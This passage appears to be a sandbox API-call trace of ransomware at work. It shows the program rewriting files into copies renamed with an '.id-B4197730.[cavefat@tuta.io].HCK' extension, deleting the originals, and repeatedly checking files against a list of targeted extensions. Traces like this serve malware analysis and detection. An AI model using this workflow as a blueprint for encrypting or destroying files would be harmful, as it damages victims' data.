lpNewFilePointer=0x0) returned 1 [0149.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.381] GetLastError () returned 0x0 [0149.381] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.416] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0149.417] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.417] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0149.417] SetEndOfFile (hFile=0x36c) returned 1 [0149.417] CloseHandle (hObject=0x36c) returned 1 [0149.418] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.418] SetEndOfFile (hFile=0x308) returned 1 [0149.419] CloseHandle (hObject=0x308) returned 1 [0149.419] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.419] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0149.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.420] lstrlenW (lpString=".doc") returned 4 [0149.420] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.420] lstrlenW (lpString=".docx") returned 5 [0149.420] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0149.420] lstrlenW (lpString=".pdf") returned 4 [0149.420] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.420] lstrlenW (lpString=".xls") returned 4 [0149.420] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.420] lstrlenW (lpString=".xlsx") returned 5 [0149.420] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0149.420] lstrlenW (lpString=".ppt") returned 4 [0149.420] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.421] lstrlenW (lpString=".zip") returned 4 [0149.421] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.421] lstrlenW (lpString=".rar") returned 4 [0149.421] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.421] lstrlenW (lpString=".bz2") returned 4 [0149.421] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.421] lstrlenW (lpString=".7z") returned 3 [0149.421] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.421] lstrlenW (lpString=".dbf") returned 4 [0149.421] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.421] lstrlenW (lpString=".1cd") returned 4 [0149.421] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.421] lstrlenW (lpString=".jpg") returned 4 [0149.421] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.421] lstrlenW (lpString=".doc") returned 4 [0149.421] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.421] lstrlenW (lpString=".docx") returned 5 [0149.421] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0149.421] lstrlenW (lpString=".pdf") returned 4 [0149.421] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.421] lstrlenW (lpString=".xls") returned 4 [0149.422] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.422] lstrlenW (lpString=".xlsx") returned 5 [0149.422] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0149.422] lstrlenW (lpString=".ppt") returned 4 [0149.422] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.422] lstrlenW (lpString=".zip") returned 4 [0149.422] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.422] lstrlenW (lpString=".rar") returned 4 [0149.422] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.422] lstrlenW (lpString=".bz2") returned 4 [0149.422] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.422] lstrlenW (lpString=".7z") returned 3 [0149.422] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.422] lstrlenW (lpString=".dbf") returned 4 [0149.422] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.422] lstrlenW (lpString=".1cd") returned 4 [0149.422] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0149.422] lstrlenW (lpString=".jpg") returned 4 [0149.422] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.422] lstrcmpiW (lpString1=".msi", lpString2=".HCK") returned 1 [0149.422] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0149.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.423] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1163264) returned 1 [0149.424] CloseHandle (hObject=0x308) returned 1 [0149.424] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0149.424] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.424] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.424] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.424] GetLastError () returned 0x0 [0149.424] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0149.445] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0149.714] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x1c010, lpOverlapped=0x0) returned 1 [0149.722] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x1c020, lpOverlapped=0x0) returned 1 [0149.725] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.725] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0149.725] SetEndOfFile (hFile=0x36c) returned 1 [0149.726] CloseHandle (hObject=0x36c) returned 1 [0150.205] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.205] SetEndOfFile (hFile=0x308) returned 1 [0150.206] CloseHandle (hObject=0x308) returned 1 [0150.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0150.207] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0150.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.207] lstrlenW (lpString=".doc") returned 4 [0150.207] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.207] lstrlenW (lpString=".docx") returned 5 [0150.207] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0150.207] lstrlenW (lpString=".pdf") returned 4 [0150.207] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.207] lstrlenW (lpString=".xls") returned 4 [0150.207] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.207] lstrlenW (lpString=".xlsx") returned 5 [0150.207] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0150.207] lstrlenW (lpString=".ppt") returned 4 [0150.207] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.207] lstrlenW (lpString=".zip") returned 4 [0150.207] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.207] lstrlenW (lpString=".rar") returned 4 [0150.207] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.207] lstrlenW (lpString=".bz2") returned 4 [0150.208] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString=".7z") returned 3 [0150.208] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".dbf") returned 4 [0150.208] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".1cd") returned 4 [0150.208] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".jpg") returned 4 [0150.208] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".doc") returned 4 [0150.208] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString=".docx") returned 5 [0150.208] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0150.208] lstrlenW (lpString=".pdf") returned 4 [0150.208] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.208] lstrlenW (lpString=".xls") returned 4 [0150.208] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.208] lstrlenW (lpString=".xlsx") returned 5 [0150.208] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0150.208] lstrlenW (lpString=".ppt") returned 4 [0150.208] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".zip") returned 4 [0150.208] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.208] lstrlenW (lpString=".rar") returned 4 [0150.208] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.208] lstrlenW (lpString=".bz2") returned 4 [0150.208] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString=".7z") returned 3 [0150.208] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".dbf") returned 4 [0150.208] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".1cd") returned 4 [0150.208] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0150.208] lstrlenW (lpString=".jpg") returned 4 [0150.208] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.209] lstrcmpiW (lpString1=".msi", lpString2=".HCK") returned 1 [0150.209] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0150.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0150.209] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=872448) returned 1 [0150.209] CloseHandle (hObject=0x308) returned 1 [0150.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0150.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0150.210] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.210] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0150.210] GetLastError () returned 0x0 [0150.210] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xd5000, lpOverlapped=0x0) returned 1 [0150.227] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xd5010, lpOverlapped=0x0) returned 1 [0150.237] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.237] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x100, lpOverlapped=0x0) returned 1 [0150.237] SetEndOfFile (hFile=0x36c) returned 1 [0150.237] CloseHandle (hObject=0x36c) returned 1 [0150.249] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.249] SetEndOfFile (hFile=0x308) returned 1 [0150.766] CloseHandle (hObject=0x308) returned 1 [0150.766] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0150.766] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString=".doc") returned 4 [0150.767] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.767] lstrlenW (lpString=".docx") returned 5 [0150.767] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0150.767] lstrlenW (lpString=".pdf") returned 4 [0150.767] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.767] lstrlenW (lpString=".xls") returned 4 [0150.767] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.767] lstrlenW (lpString=".xlsx") returned 5 [0150.767] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0150.767] lstrlenW (lpString=".ppt") returned 4 [0150.767] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString=".zip") returned 4 [0150.767] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.767] lstrlenW (lpString=".rar") returned 4 [0150.767] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.767] lstrlenW (lpString=".bz2") returned 4 [0150.767] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.767] lstrlenW (lpString=".7z") returned 3 [0150.767] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString=".dbf") returned 4 [0150.767] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString=".1cd") returned 4 [0150.767] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString=".jpg") returned 4 [0150.767] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.767] lstrlenW (lpString=".doc") returned 4 [0150.768] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.768] lstrlenW (lpString=".docx") returned 5 [0150.768] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0150.768] lstrlenW (lpString=".pdf") returned 4 [0150.768] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.768] lstrlenW (lpString=".xls") returned 4 [0150.768] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.768] lstrlenW (lpString=".xlsx") returned 5 [0150.768] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0150.768] lstrlenW (lpString=".ppt") returned 4 [0150.768] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.768] lstrlenW (lpString=".zip") returned 4 [0150.768] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.768] lstrlenW (lpString=".rar") returned 4 [0150.768] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.768] lstrlenW (lpString=".bz2") returned 4 [0150.768] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.768] lstrlenW (lpString=".7z") returned 3 [0150.768] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.768] lstrlenW (lpString=".dbf") returned 4 [0150.768] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.768] lstrlenW (lpString=".1cd") returned 4 [0150.768] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0150.768] lstrlenW (lpString=".jpg") returned 4 [0150.768] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.768] lstrcmpiW (lpString1=".msi", lpString2=".HCK") returned 1 [0150.768] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0150.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0150.768] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=94720) returned 1 [0150.769] CloseHandle (hObject=0x308) returned 1 [0150.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0150.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.303] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.304] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.304] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.304] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0151.338] GetLastError () returned 0x0 [0151.338] ReadFile (in: hFile=0x368, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x17200, lpOverlapped=0x0) returned 1 [0151.359] WriteFile (in: hFile=0x300, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x17210, lpOverlapped=0x0) returned 1 [0151.361] ReadFile (in: hFile=0x368, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.361] WriteFile (in: hFile=0x300, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0151.361] SetEndOfFile (hFile=0x300) returned 1 [0151.361] CloseHandle (hObject=0x300) returned 1 [0151.363] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.363] SetEndOfFile (hFile=0x368) returned 1 [0151.364] CloseHandle (hObject=0x368) returned 1 [0151.364] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.365] DeleteFileW 